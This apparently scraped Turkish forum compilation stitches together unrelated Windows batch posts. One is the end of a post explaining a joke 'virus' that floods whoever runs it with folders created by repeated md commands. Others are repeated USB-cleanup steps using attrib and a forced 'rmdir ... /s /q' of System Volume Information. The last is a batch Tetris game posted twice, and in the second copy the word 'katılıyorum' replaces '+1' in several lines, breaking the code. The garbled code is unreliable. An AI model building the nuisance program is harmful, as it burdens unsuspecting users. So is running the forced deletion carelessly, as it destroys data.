buradaki md yeni klasör oluşturma komutudur.
yanlarındaki sayılar ise klasör adıdır sayıyı özelleştirebilirsiniz mesela isim şehir kelime vb.
virüsün amacı sadece klasör açmaktır
bunu açan kişi orda belirtilen rakam kadar klasör ile karşı karşıya kalacaktır mesela 100 tane o kod dan yazsa 100 tane klasör açılır
bunu yaparken lütfen dosya adının yani md den sonra gelen kelime veya rakamın aynı olmamasına özen gösterin
--------------------------------------
Flash Bellek Virüs Temizleme
1-KOMUT İSTEM'ine giriş yapın
2-SÜRÜCÜNÜN HARFİ yazın örn;" F:"
3- attrib -r -s -h /s /d " komutunu girin
artık tüm dosya ve uygulamalar görüküyor. Yabancı ve zararlı olanları silin .System volume information silmek için şu kodu girin:
4- "rmdir" system volume information" /s /q" komutnu girin artık herşey tamamdır.
2-SÜRÜCÜNÜN HARFİ yazın örn;" F:"
3- attrib -r -s -h /s /d " komutunu girin
artık tüm dosya ve uygulamalar görüküyor. Yabancı ve zararlı olanları silin .System volume information silmek için şu kodu girin:
4- "rmdir" system volume information" /s /q" komutnu girin artık herşey tamamdır.
Flash Bellek Virüs Temizleme
1-KOMUT İSTEM'ine giriş yapın
2-SÜRÜCÜNÜN HARFİ yazın örn;" F:"
3- attrib -r -s -h /s /d " komutunu girin
artık tüm dosya ve uygulamalar görüküyor. Yabancı ve zararlı olanları silin .System volume information silmek için şu kodu girin:
4- "rmdir" system volume information" /s /q" komutnu girin artık herşey tamamdır.
2-SÜRÜCÜNÜN HARFİ yazın örn;" F:"
3- attrib -r -s -h /s /d " komutunu girin
artık tüm dosya ve uygulamalar görüküyor. Yabancı ve zararlı olanları silin .System volume information silmek için şu kodu girin:
4- "rmdir" system volume information" /s /q" komutnu girin artık herşey tamamdır.
-------------------------------------------
Merhaba Arkadaşlar, Bilindiği üzere flash bellek lerimize virüs bulaşması ve bunun sonucunda flash belleğimizde bulunan dosya ve klasörlerimizin otomatik olarak gizlenmesi bizim için çok büyük problemler yaratmaktadır. Peki bu problemleri nasıl ortadan kaldıracağız.
Virüs olayına son vermemiz gibi bir durumun söz konusu bile olmadığını biliyorsunuz.Ama en azından flash belleğimize virüs girip dosya ve klasörlerimizin görünmez yani gizli olduğu durumlarda bunun çeşitli çözümlerinin olduğunu ve flash bellek imkanımızın olduğunu biliyoruz.Benim size anlatacağım yöntemde herhangi bir program kullanmaya gerek kalmadan bu problemi kolayca ortadan kaldıracağız (:
1. Adım; İlk önce masaüstünde bulunan Bilgisayarım simgesine çift tıklıyoruz ve açılan pencereden flash belleğimizin hangi sürücü ismiyle isimlendirildiğini buluyoruz.
Mesela flash belleğimizin adının yanında H: yazdığını varsayalım.Bu sizin bilgisayarınızda farklı bir harf olabilir.
2.Adım; Flash belleğimizin hangi harf ile adlandırıldığını bir önceki adımda bulduk.Daha sonra sırasıyla Başlat–>Tüm Programlar–>Donatımlar–>Komut İstemi seçeneklerine tıklıyoruz ve aşağıdaki gibi bir siyah bir pencere ekranda beliriyor.

Daha sonra attrib –r –s –h /s /d *.* Kodlarını yazıp Enter tuşuna basıyoruz ve flash belleğimizin ışığının sönmesini bekliyoruz, Flash belleğimizi bilgisayardan hemen çıkarmıyoruz.Flash belleğimizin ışığı sönünce Çıkartıyoruz; Flash belleğimizde gizlilik özelliği kazandırılmış olan ve gizlilik özelliğinin kaldırılmasına izin verilmeyen tüm dosya ve klasörlerimiz görünür hale gelmiş oldu.

-----------------------------Virüs olayına son vermemiz gibi bir durumun söz konusu bile olmadığını biliyorsunuz.Ama en azından flash belleğimize virüs girip dosya ve klasörlerimizin görünmez yani gizli olduğu durumlarda bunun çeşitli çözümlerinin olduğunu ve flash bellek imkanımızın olduğunu biliyoruz.Benim size anlatacağım yöntemde herhangi bir program kullanmaya gerek kalmadan bu problemi kolayca ortadan kaldıracağız (:
1. Adım; İlk önce masaüstünde bulunan Bilgisayarım simgesine çift tıklıyoruz ve açılan pencereden flash belleğimizin hangi sürücü ismiyle isimlendirildiğini buluyoruz.
Mesela flash belleğimizin adının yanında H: yazdığını varsayalım.Bu sizin bilgisayarınızda farklı bir harf olabilir.
2.Adım; Flash belleğimizin hangi harf ile adlandırıldığını bir önceki adımda bulduk.Daha sonra sırasıyla Başlat–>Tüm Programlar–>Donatımlar–>Komut İstemi seçeneklerine tıklıyoruz ve aşağıdaki gibi bir siyah bir pencere ekranda beliriyor.
![]() | Resim yeniden boyutlandırıldı, orjinalini görmek için tıklayın. |

Daha sonra attrib –r –s –h /s /d *.* Kodlarını yazıp Enter tuşuna basıyoruz ve flash belleğimizin ışığının sönmesini bekliyoruz, Flash belleğimizi bilgisayardan hemen çıkarmıyoruz.Flash belleğimizin ışığı sönünce Çıkartıyoruz; Flash belleğimizde gizlilik özelliği kazandırılmış olan ve gizlilik özelliğinin kaldırılmasına izin verilmeyen tüm dosya ve klasörlerimiz görünür hale gelmiş oldu.
![]() | Resim yeniden boyutlandırıldı, orjinalini görmek için tıklayın. |

------------------------------------
Tetris
Klasik tetris oyunu, bana göre toplu olarak kodlanmış.Oyunu dene, S tuşlarını kullan (Aşağı hareket) A (Sola hareket et) D (Hareket et) R (Döndür) X (oyundan çık).
@Echo off
@title Tetris v1.3
@mode con cols=28 lines=24
Setlocal enabledelayedexpansion enableextensions
:: Batch Game - Tetris v1.3
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
:: Greets to Carlos ;) (for KBD and bug fixes)
Set "Game=%0"
Kbd.exe 1 2>Nul
If "%Errorlevel%"=="9009" (Echo. Kbd command not found&Pause&Exit /b)
Call :Logo
:Menu
Cls
Echo.
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
:MenuIn
Kbd.exe 2
If "%errorlevel%"=="49" (Goto :Load)
If "%errorlevel%"=="50" (Goto :Help)
If "%errorlevel%"=="51" (Goto :End)
Goto :MenuIn
:Load
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"
:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
Set /a "NoPress=0,Pressed=0,Over=0"
:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
If !Over! Equ 1 Goto :Menu
Goto :Main
:Graphic
Call :Clear
Call :CheckL2
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo. º!Lin_%%f!º)
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
:Move
Kbd.exe 1
Set /a "K=!ErrorLevel!"
If !k! Equ 0 (
Set /a "NoPress+=1"
If !NoPress! Equ 3 (
Set /a "NoPress=0"
Call :Down
)
) Else Set /a "Pressed+=1"
If !k! Equ 80 (Call :Down)
If !k! Equ 75 (Call :Left)
If !k! Equ 77 (Call :Rigth)
If !k! Equ 32 (Call :Rotate)
If !k! Equ 120 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 88 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 99 (Call :MovCR)
If !k! Equ 67 (Call :MovCR)
If !Pressed! Equ 3 (
Set /a "Pressed=0"
Call :Down
)
If !Over! Equ 1 Goto :Lost
Goto :Graphic
::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof
:Rotate
Set "TmpTB="
If "%XToken%"=="-7" (Set "XToken=-6")
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof
:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof
:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof
:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof
:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof
:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:CheckL2
Echo.%Lin_1%|Find "%Bound2%">nul
If !Errorlevel! EQU 0 (Goto :Lost)
Echo.!Lin_%LimY%!|Find " ">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :Solid
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Call :Clear
Goto :CheckL2
:::::::::::::::::::::::::::::::::::::::::
:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof
:Lost
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. Perdiste !
Goto :End
:Win
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. Has Ganado !
Goto :End
:End
Echo. Thanks for Play
Echo. Tetris v1.2 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Goto :Menu
::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof
:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof
:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof
:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof
:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof
:Figure6
Set Figure6_Pos1=X6Y0,X7Y0,X8Y0,X6Y1
Set Figure6_Pos2=X7Y0,X8Y2,X8Y1,X8Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
title Fig:6 Pos:%R%
Goto :Eof
:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof
::_0 xx9tYjYxWvxPrXmoLjqfzpxxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxxx8jYfZXojYxOtxJvxxxxx
::_0 EjXzofizgxLfmgimfjqYx9GVJ
::_0 xxxJvx8XmgfqlxNxGtyjxRxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxLmjjopxotx9Xmgtpxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xx
:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use arrow keys, space and X
Echo.
Echo. Left = Move Shape Left
Echo. Down = Move Shape Down
Echo. Right = Move Shape Rigth
Echo. Space = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Menu
:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°° Corp. 2010 °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof
Umarım beğenirsin. Görüş ve önerilerinizi bekliyoruz.
Selamlar!
Saf bir toplu iş dosyasında Tetris oyunu
Merhabalar
Aşağıdaki kodları;
1.Boş bir not defteri açınız.
2.Bu boş not defterine kodları kopyala-yapıştır ile aktarınız.
3.Dosya Menüsü >> Farklı Kaydet >> alt komut yordamını işleyiniz.
4.Dosya Türü = Tüm Dosyalar
Dosya Adı = Tetris.bat yapınız.
İyi Eğlenceler
@echo off
@title Tetris v 1
@mode con cols=28 lines=24
:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)
Set "Game=%0"
Call :Logo
:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg
:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"
:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
:Main
Set /a "L=(%Random% %% 7)katılıyorum"
Call :Figure%L%
Call :Graphic
Goto :Main
:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo. º!Lin_%%f!º)
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic
:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof
:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)katılıyorum"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof
:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof
:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof
:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "katılıyorum" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof
:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof
:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof
:Lost
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. You lose!
Goto :End
:Win
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. You win!
Goto :End
:End
Echo. Thanks for playing.
Echo. Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit
::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof
:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof
:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
